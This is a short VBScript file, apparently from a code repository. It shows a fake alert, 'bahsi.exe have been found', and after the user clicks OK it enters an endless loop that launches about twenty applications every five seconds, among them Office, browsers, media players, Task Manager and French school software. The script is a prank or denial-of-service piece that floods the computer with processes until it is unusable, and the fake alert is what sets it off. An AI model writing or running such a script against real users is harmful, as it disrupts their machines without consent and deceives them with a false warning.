51 lines
No EOL
2.7 KiB
Text
Executable file
51 lines
No EOL
2.7 KiB
Text
Executable file
result = MsgBox ("Bah si", vbInformation ,"bahsi.exe have been found")
|
|
|
|
Select Case result
|
|
Case vbOk
|
|
Do
|
|
WScript.Sleep 5000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles%\7-Zip\7zFM.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """explorer.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """taskmgr.exe"""
|
|
Loop
|
|
|
|
End Select |